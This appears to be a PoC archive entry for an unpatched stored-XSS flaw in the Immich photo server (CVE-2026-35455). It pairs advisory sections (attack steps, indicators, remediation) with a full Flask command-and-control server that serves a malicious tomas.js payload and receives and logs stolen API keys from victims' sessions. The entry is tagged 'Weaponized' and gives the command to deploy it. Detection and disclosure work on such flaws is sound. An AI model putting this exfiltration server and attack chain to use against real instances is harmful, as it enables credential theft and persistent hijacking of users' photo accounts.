PoC Archive PoC Archive
High CVE-2026-35455 unpatched

Immich Stored XSS to API Key Exfiltration and Account Hijacking (CVE-2026-35455)

by emanuelepns · 2026-07-05

Severity
High
CVE
CVE-2026-35455
Category
web
Affected product
Immich (self-hosted photo/video management)
Affected versions
Not specified in source
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / Researcheremanuelepns
CVE / AdvisoryCVE-2026-35455
Categoryweb
SeverityHigh
CVSS ScoreNot specified in source
StatusWeaponized
Tagsimmich, stored-xss, exfiltration, api-key-theft, account-hijacking, self-hosted-photos, c2
RelatedN/A

Affected Target

FieldValue
Software / SystemImmich (self-hosted photo/video management)
Versions AffectedNot specified in source
Language / PlatformPython C2 server + JS payload
Authentication RequiredNo (victim must view attacker-controlled content)
Network Access RequiredYes

Summary

A stored XSS vulnerability in Immich allows an attacker to inject a malicious script (via a photo/asset field) that executes in a victim’s authenticated session. The included demo automates generation of a new API key from within the hijacked session and exfiltrates it to an attacker-controlled C2 server, resulting in full, persistent unauthorized access to the victim’s Immich account.


Vulnerability Details

Root Cause

User-controlled content rendered in the Immich UI is not properly sanitized, allowing stored JavaScript execution in the context of a victim’s authenticated session.

Attack Vector

  1. Inject a malicious payload into an Immich field that gets rendered without sanitization (e.g. via a shared asset).
  2. When the victim views the affected content, the payload executes in their authenticated browser session.
  3. The payload calls Immich’s API to generate a new long-lived API key and exfiltrates it to the attacker’s C2 server.
  4. The attacker uses the stolen API key for persistent, unauthorized account access.

Impact

Full account takeover and persistent unauthorized access to a victim’s Immich instance via a single stored-XSS interaction.


Environment / Lab Setup

Target:   A self-hosted Immich instance
Attacker: Docker (C2 server + Caddy reverse proxy), a victim browser session

Proof of Concept

PoC Script

See server.py and tomas.js in this folder.

1
docker-compose up (see repo's docker-compose.yml), then deliver tomas.js payload to a victim session

Runs a local C2 server that receives exfiltrated API keys from the injected tomas.js payload once a victim’s session executes it, demonstrating end-to-end account hijacking.


Detection & Indicators of Compromise

Signs of compromise:

  • New API keys created without a corresponding user-initiated settings action
  • Unusual outbound network requests from the Immich web client

Remediation

ActionDetail
Primary fixApply the Immich vendor patch addressing the stored XSS once available — monitor project advisories
Interim mitigationSanitize/encode all user-controlled fields rendered in the Immich UI; enforce a strict Content-Security-Policy

References


Notes

Mirrored from https://github.com/emanuelepns/immich-exfiltration-demo on 2026-07-05.

server.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from flask import Flask, send_from_directory, request
from datetime import datetime
import os
import json

app = Flask(__name__)

# route for serving the malicious script
@app.route("/tomas.js")
def serve_script():
    return send_from_directory(os.path.join(app.root_path, 'static'), 'tomas.js')

# route for receiving the key and saving to a json file
@app.route("/log")
def apikey_exfiltration():
    # take the args from request
    key = request.args.get('key', 'NO_KEY')
    domain = request.args.get('domain', 'NO_DOMAIN')

    print("[RECEIVED KEY] Domain: ", domain, " | Key: ", key)

    # save to a new json file in logs dir
    time = datetime.now().strftime('%Y%m%d_%H%M%S')

    data = {
        "timestamp": time,
        "domain": domain,
        "key": key
    }

    file_name = "log_" + time + ".json"
    file_path = os.path.join('logs', file_name)

    with open(file_path, 'w') as f:
        json.dump(data, f, indent=4)

    return "OK"